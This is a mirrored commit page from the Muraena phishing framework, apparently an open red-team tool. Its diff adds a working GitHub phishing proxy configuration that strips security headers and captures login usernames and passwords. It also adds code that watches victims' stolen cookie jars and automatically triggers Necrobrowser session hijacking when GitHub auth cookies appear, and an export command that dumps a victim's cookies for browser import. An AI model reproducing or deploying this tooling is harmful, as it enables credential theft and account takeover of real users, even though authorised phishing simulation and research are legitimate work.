mirror of
https://github.com/muraenateam/muraena.git
synced 2026-07-21 01:01:26 +00:00
Merge branch 'moreNecro' into release
* moreNecro: Using Debug log verbosity instead of info in victim tracker Added necrobrowser auto-trigger functionality based on cookie jar items. Fixed tracking via path (now supports not-existing paths too). Added example Github configuration Added export <sessionID> to export a full session cookieJar as JSON (ready for browser manual import)
This commit is contained in:
commit
4e893df736
8 changed files with 391 additions and 18 deletions
185
config/config.github.toml
Normal file
185
config/config.github.toml
Normal file
|
|
@ -0,0 +1,185 @@
|
|||
[proxy]
|
||||
# Phishing domain
|
||||
phishing = "phishing.com"
|
||||
|
||||
# Target domain to proxy
|
||||
destination = "github.com"
|
||||
|
||||
# Listening IP address
|
||||
IP = "0.0.0.0"
|
||||
|
||||
# Listeninng TCP Port
|
||||
port = 443
|
||||
|
||||
# Force HTTP to HTTPS redirection
|
||||
[proxy.HTTPtoHTTPS]
|
||||
enabled = true
|
||||
HTTPport = 80
|
||||
|
||||
|
||||
#
|
||||
# Proxy's replacement rules
|
||||
#
|
||||
[transform]
|
||||
|
||||
# List of content types to exclude from the transformation process
|
||||
skipContentType = [ "font/*", "image/*" ]
|
||||
|
||||
# Enable transformation rules in base64 strings
|
||||
[transform.base64]
|
||||
enabled = false
|
||||
padding = [ "=", "." ]
|
||||
|
||||
[transform.request]
|
||||
headers = [
|
||||
"Cookie",
|
||||
"Referer",
|
||||
"Origin",
|
||||
"X-Forwarded-For"
|
||||
]
|
||||
|
||||
[transform.response]
|
||||
headers = [
|
||||
"Location",
|
||||
"WWW-Authenticate",
|
||||
"Origin",
|
||||
"Set-Cookie",
|
||||
"Access-Control-Allow-Origin"
|
||||
]
|
||||
|
||||
# Generic replacement rules:
|
||||
# it applies to body and any http header enabled for manipulation
|
||||
content = [
|
||||
[ "integrity", "intintint" ]
|
||||
]
|
||||
|
||||
|
||||
#
|
||||
# Proxy's wiping rules
|
||||
#
|
||||
[remove]
|
||||
|
||||
[remove.request]
|
||||
headers = [
|
||||
"X-Forwarded-For"
|
||||
]
|
||||
|
||||
[remove.response]
|
||||
headers = [
|
||||
"Content-Security-Policy",
|
||||
"Content-Security-Policy-Report-Only",
|
||||
"Strict-Transport-Security",
|
||||
"X-XSS-Protection",
|
||||
"X-Content-Type-Options",
|
||||
"X-Frame-Options",
|
||||
"Referrer-Policy",
|
||||
"X-Forwarded-For"
|
||||
]
|
||||
|
||||
#
|
||||
# Rudimental redirection rules
|
||||
#
|
||||
[[drop]]
|
||||
path = "/logout"
|
||||
redirectTo = "https://github.com"
|
||||
|
||||
|
||||
#
|
||||
# LOG
|
||||
#
|
||||
[log]
|
||||
enabled = true
|
||||
filePath = "muraena.log"
|
||||
|
||||
|
||||
#
|
||||
# TLS
|
||||
#
|
||||
[tls]
|
||||
enabled = true
|
||||
|
||||
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
|
||||
# filepath
|
||||
expand = false
|
||||
certificate = "./cert.pem"
|
||||
key = "./privkey.pem"
|
||||
root = "./fullchain.pem"
|
||||
|
||||
#
|
||||
# CRAWLER
|
||||
#
|
||||
[crawler]
|
||||
enabled = false
|
||||
depth = 3
|
||||
upto = 20
|
||||
externalOriginPrefix = "cdn-"
|
||||
externalOrigins = [
|
||||
"*.githubassets.com"
|
||||
]
|
||||
|
||||
#
|
||||
# NECROBROWSER
|
||||
#
|
||||
[necrobrowser]
|
||||
enabled = true
|
||||
endpoint = "http://127.0.0.1:3000/instrument"
|
||||
profile = "./config/instrument.github.necro"
|
||||
|
||||
[necrobrowser.keepalive]
|
||||
# GET on an authenticated endpoint to keep the session alive
|
||||
# every keepalive request is processed as its own necrotask
|
||||
enabled = false
|
||||
minutes = 5 # keeps alive the session every 5 minutes
|
||||
|
||||
|
||||
[necrobrowser.trigger]
|
||||
type = "cookies"
|
||||
values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth
|
||||
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
|
||||
|
||||
|
||||
#
|
||||
# STATIC SERVER
|
||||
#
|
||||
[staticServer]
|
||||
enabled = false
|
||||
port = 8080
|
||||
localPath = "./static/"
|
||||
urlPath = "/evilpath/"
|
||||
|
||||
|
||||
#
|
||||
# TRACKING
|
||||
#
|
||||
[tracking]
|
||||
enabled = true
|
||||
|
||||
# the tracking below supposes your phishing url will be something like:
|
||||
# https://github.com/GithubProfile/aaa-111-bbb (see regex below)
|
||||
# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly):
|
||||
# https://github.com/GithubProfileFooBar/aaa-111-bbb
|
||||
type = "path"
|
||||
|
||||
# Tracking identifier
|
||||
identifier = "_GithubProfile_"
|
||||
|
||||
# Rule to generate and validate a tracking identifier
|
||||
regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}"
|
||||
|
||||
[tracking.urls]
|
||||
credentials = [ "/session" ]
|
||||
|
||||
# we don't need this anymore since we manage via necrobrowser.trigger
|
||||
# authSession = [ "/settings/profile" ]
|
||||
|
||||
[[tracking.patterns]]
|
||||
label = "Username"
|
||||
matching = "login"
|
||||
start = "login="
|
||||
end = "&password="
|
||||
|
||||
[[tracking.patterns]]
|
||||
label = "Password"
|
||||
matching = "password"
|
||||
start = "password="
|
||||
end = "&"
|
||||
|
|
@ -144,6 +144,22 @@
|
|||
endpoint = "http://necrobrowser.url/xyz"
|
||||
profile = "./config/instrument.necro"
|
||||
|
||||
[necrobrowser.keepalive]
|
||||
# GET on an authenticated endpoint to keep the session alive
|
||||
# every keepalive request is processed as its own necrotask
|
||||
enabled = false
|
||||
minutes = 5 # keeps alive the session every 5 minutes
|
||||
|
||||
|
||||
[necrobrowser.trigger]
|
||||
type = "cookies"
|
||||
values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths
|
||||
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
|
||||
|
||||
# type path example (triggers when the victim goes to a specific relative URL):
|
||||
# type = "path"
|
||||
# values = ["/settings/profile"]
|
||||
# delay = 5
|
||||
|
||||
#
|
||||
# STATIC SERVER
|
||||
|
|
|
|||
|
|
@ -22,6 +22,8 @@ type Victim struct {
|
|||
|
||||
CredsCount int `redis:"creds_count"`
|
||||
CookieJar string `redis:"cookiejar_id"`
|
||||
|
||||
SessionInstrumented bool `redis:"session_instrumented"`
|
||||
}
|
||||
|
||||
// a victim has at least one set of credentials
|
||||
|
|
@ -37,14 +39,16 @@ type VictimCredential struct {
|
|||
// KEY scheme:
|
||||
// victim:<ID>:cookiejar:<COOKIE_NAME>
|
||||
type VictimCookie struct {
|
||||
Name string `redis:"name"`
|
||||
Value string `redis:"value"`
|
||||
Domain string `redis:"domain"`
|
||||
Expires string `redis:"expires"`
|
||||
Path string `redis:"path"`
|
||||
HTTPOnly bool `redis:"httpOnly"`
|
||||
Secure bool `redis:"secure"`
|
||||
Session bool `redis:"session"` // is the cookie a session cookie?
|
||||
Name string `redis:"name" json:"name"`
|
||||
Value string `redis:"value" json:"value"`
|
||||
Domain string `redis:"domain" json:"domain"`
|
||||
Expires string `redis:"expires" json:"expirationDate"`
|
||||
Path string `redis:"path" json:"path"`
|
||||
HTTPOnly bool `redis:"httpOnly" json:"httpOnly"`
|
||||
Secure bool `redis:"secure" json:"secure"`
|
||||
SameSite string `redis:"sameSite" json:"sameSite"`
|
||||
Session bool `redis:"session" json:"session"` // is the cookie a session cookie?
|
||||
|
||||
}
|
||||
|
||||
func StoreVictim(id string, victim *Victim) error {
|
||||
|
|
@ -68,6 +72,21 @@ func StoreVictim(id string, victim *Victim) error {
|
|||
return nil
|
||||
}
|
||||
|
||||
func SetSessionAsInstrumented(id string) error {
|
||||
|
||||
rc := RedisPool.Get()
|
||||
defer rc.Close()
|
||||
|
||||
key := fmt.Sprintf("victim:%s", id)
|
||||
|
||||
if _, err := rc.Do("HSET", key, "session_instrumented", true); err != nil {
|
||||
log.Error("error doing redis HSET: %s. session_instrumented field not saved.", err)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetAllVictims() ([]string, error) {
|
||||
rc := RedisPool.Get()
|
||||
defer rc.Close()
|
||||
|
|
@ -197,7 +216,7 @@ func GetVictimCookiejar(id string) ([]VictimCookie, error) {
|
|||
return nil, err
|
||||
}
|
||||
|
||||
log.Info("Victim %s has %d cookies in the cookiejar", id, len(values))
|
||||
log.Debug("Victim %s has %d cookies in the cookiejar", id, len(values))
|
||||
|
||||
var cookiejar []VictimCookie
|
||||
for _, name := range values {
|
||||
|
|
|
|||
|
|
@ -47,4 +47,4 @@ var (
|
|||
dateTimeFormat = "02 Jan 06 15:04 MST"
|
||||
// Format is the default format being used when logging.
|
||||
format = "{datetime} {level:color}{level:name}{reset} {message}"
|
||||
)
|
||||
)
|
||||
|
|
|
|||
|
|
@ -6,11 +6,12 @@ import (
|
|||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/muraenateam/muraena/log"
|
||||
|
||||
"gopkg.in/resty.v1"
|
||||
|
||||
session "github.com/muraenateam/muraena/session"
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
|
||||
"github.com/muraenateam/muraena/session"
|
||||
)
|
||||
|
||||
const (
|
||||
|
|
@ -104,9 +105,80 @@ func Load(s *session.Session) (m *Necrobrowser, err error) {
|
|||
|
||||
m.Request = string(bytes)
|
||||
|
||||
// spawn a go routine that checks all the victims cookie jars every N seconds
|
||||
// to see if we have any sessions ready to be instrumented
|
||||
if s.Config.NecroBrowser.Enabled {
|
||||
go m.CheckSessions()
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) CheckSessions() {
|
||||
|
||||
triggerType := module.Session.Config.NecroBrowser.Trigger.Type
|
||||
triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay
|
||||
|
||||
for {
|
||||
switch triggerType {
|
||||
case "cookies":
|
||||
module.CheckSessionCookies()
|
||||
case "path":
|
||||
// TODO
|
||||
log.Warning("currently unsupported. TODO implement path")
|
||||
default:
|
||||
log.Warning("unsupported trigger type: %s", triggerType)
|
||||
}
|
||||
|
||||
time.Sleep(time.Duration(triggerDelay) * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) CheckSessionCookies() {
|
||||
triggerValues := module.Session.Config.NecroBrowser.Trigger.Values
|
||||
|
||||
victims, err := db.GetAllVictims()
|
||||
if err != nil {
|
||||
module.Debug("error fetching all victims: %s", err)
|
||||
}
|
||||
|
||||
module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims))
|
||||
|
||||
for _, vId := range victims {
|
||||
cookieJar, err := db.GetVictimCookiejar(vId)
|
||||
if err != nil {
|
||||
module.Debug("error fetching victim %s: %s", vId, err)
|
||||
}
|
||||
|
||||
cookiesFound := 0
|
||||
cookiesNeeded := len(triggerValues)
|
||||
for _, cookie := range cookieJar {
|
||||
if Contains(&triggerValues, cookie.Name) {
|
||||
cookiesFound++
|
||||
}
|
||||
}
|
||||
|
||||
v, _ := db.GetVictim(vId)
|
||||
|
||||
// if we find the cookies, and the session has not been already instrumented (== false), then instrument
|
||||
if cookiesNeeded == cookiesFound && !v.SessionInstrumented {
|
||||
module.Instrument(cookieJar, "[]") // TODO add credentials JSON, instead of passing empty [] array
|
||||
// prevent the session to be instrumented twice
|
||||
db.SetSessionAsInstrumented(vId)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func Contains(slice *[]string, find string) bool {
|
||||
for _, a := range *slice {
|
||||
if a == find {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) {
|
||||
|
||||
var necroCookies []SessionCookie
|
||||
|
|
|
|||
|
|
@ -83,6 +83,13 @@ func (module *Tracker) Prompt() {
|
|||
|
||||
case "credentials":
|
||||
module.ShowCredentials()
|
||||
|
||||
case "export":
|
||||
|
||||
// TODO
|
||||
|
||||
module.ExportSession("XX")
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -239,18 +246,27 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
|
|||
}
|
||||
|
||||
noTraces := true
|
||||
isTrackedPath := false
|
||||
|
||||
//
|
||||
// Tracing types: Path || Query (default)
|
||||
//
|
||||
if module.Type == "path" {
|
||||
re := regexp.MustCompile(`/([^/]+)`)
|
||||
tr := module.Session.Config.Tracking
|
||||
|
||||
pathRegex := strings.Replace(tr.Identifier, "_", "/", -1) + tr.Regex
|
||||
re := regexp.MustCompile(pathRegex)
|
||||
|
||||
match := re.FindStringSubmatch(request.URL.Path)
|
||||
module.Info("tracking path match: %v", match)
|
||||
|
||||
if len(match) > 0 {
|
||||
t = module.makeTrace(match[1])
|
||||
t = module.makeTrace(match[0])
|
||||
if t.IsValid() {
|
||||
request.Header.Set(module.Landing, strings.ReplaceAll(request.URL.Path, t.ID, ""))
|
||||
module.Info("setting %s header to %s", module.Landing, strings.ReplaceAll(request.URL.Path, t.ID, ""))
|
||||
noTraces = false
|
||||
isTrackedPath = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -320,6 +336,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
|
|||
}
|
||||
|
||||
v.RequestCount++
|
||||
|
||||
if module.Type == "path" && isTrackedPath {
|
||||
request.URL.Path = module.Session.Config.Tracking.RedirectTo
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,12 +1,17 @@
|
|||
package tracking
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/muraenateam/muraena/module/necrobrowser"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
)
|
||||
|
||||
func (module *Tracker) GetVictim(t *Trace) (v *db.Victim, err error) {
|
||||
|
|
@ -35,7 +40,7 @@ func (module *Tracker) ShowCredentials() {
|
|||
var rows [][]string
|
||||
|
||||
victims, err := db.GetAllVictims()
|
||||
module.Info("All Victims: %v", victims)
|
||||
module.Debug("All Victims: %v", victims)
|
||||
|
||||
if err != nil {
|
||||
module.Debug("error fetching all victims: %s", err)
|
||||
|
|
@ -47,7 +52,7 @@ func (module *Tracker) ShowCredentials() {
|
|||
module.Debug("error fetching victim %s: %s", vID, err)
|
||||
}
|
||||
|
||||
module.Info("Creds for victim %s: %d", vID, victim.CredsCount)
|
||||
module.Debug("Creds for victim %s: %d", vID, victim.CredsCount)
|
||||
|
||||
for i := 0; i < victim.CredsCount; i++ {
|
||||
t := tui.Green(victim.ID)
|
||||
|
|
@ -66,6 +71,50 @@ func (module *Tracker) ShowCredentials() {
|
|||
|
||||
}
|
||||
|
||||
// ShowVictims prints the list of victims
|
||||
func (module *Tracker) ExportSession(id string) {
|
||||
|
||||
const timeLayout = "2006-01-02 15:04:05 -0700 MST"
|
||||
|
||||
rawCookies, err := db.GetVictimCookiejar(id)
|
||||
if err != nil {
|
||||
module.Debug("error fetching victim %d cookie jar: %s", id, err)
|
||||
}
|
||||
|
||||
// this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type
|
||||
var cookieJar []necrobrowser.SessionCookie
|
||||
|
||||
for _, c := range rawCookies {
|
||||
log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
|
||||
t, err := time.Parse(timeLayout, c.Expires)
|
||||
if err != nil {
|
||||
log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
|
||||
continue
|
||||
}
|
||||
|
||||
nc := necrobrowser.SessionCookie{
|
||||
Name: c.Name,
|
||||
Value: c.Value,
|
||||
Domain: c.Domain,
|
||||
Expires: t.Unix(),
|
||||
Path: c.Path,
|
||||
HTTPOnly: c.HTTPOnly,
|
||||
Secure: c.Secure,
|
||||
Session: t.Unix() < 1,
|
||||
}
|
||||
|
||||
cookieJar = append(cookieJar, nc)
|
||||
}
|
||||
|
||||
cookieJarJson, err := json.Marshal(cookieJar)
|
||||
if err != nil {
|
||||
module.Warning("Error marshalling the cookieJar: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson)
|
||||
}
|
||||
|
||||
// ShowVictims prints the list of victims
|
||||
func (module *Tracker) ShowVictims() {
|
||||
|
||||
|
|
@ -85,10 +134,9 @@ func (module *Tracker) ShowVictims() {
|
|||
module.Debug("error fetching all victims: %s", err)
|
||||
}
|
||||
|
||||
module.Info("All Victims: %v", victims)
|
||||
module.Debug("All Victims: %v", victims)
|
||||
|
||||
for _, vId := range victims {
|
||||
module.Info("victim id: %v", vId)
|
||||
|
||||
v, err := db.GetVictim(vId)
|
||||
if err != nil {
|
||||
|
|
|
|||
|
|
@ -129,6 +129,17 @@ type Configuration struct {
|
|||
Enabled bool `toml:"enabled"`
|
||||
Endpoint string `toml:"endpoint"`
|
||||
Profile string `toml:"profile"`
|
||||
|
||||
Keepalive struct {
|
||||
Enabled bool `toml:"enabled"`
|
||||
Minutes int `toml:"minutes"`
|
||||
} `toml:"keepalive"`
|
||||
|
||||
Trigger struct {
|
||||
Type string `toml:"type"`
|
||||
Values []string `toml:"values"`
|
||||
Delay int `toml:"delay"`
|
||||
} `toml:"trigger"`
|
||||
} `toml:"necrobrowser"`
|
||||
|
||||
//
|
||||
|
|
@ -163,6 +174,7 @@ type Configuration struct {
|
|||
Domain string `toml:"domain"`
|
||||
IPSource string `toml:"ipSource"`
|
||||
Regex string `toml:"regex"`
|
||||
RedirectTo string `toml:"redirectTo"`
|
||||
|
||||
Urls struct {
|
||||
Credentials []string `toml:"credentials"`
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue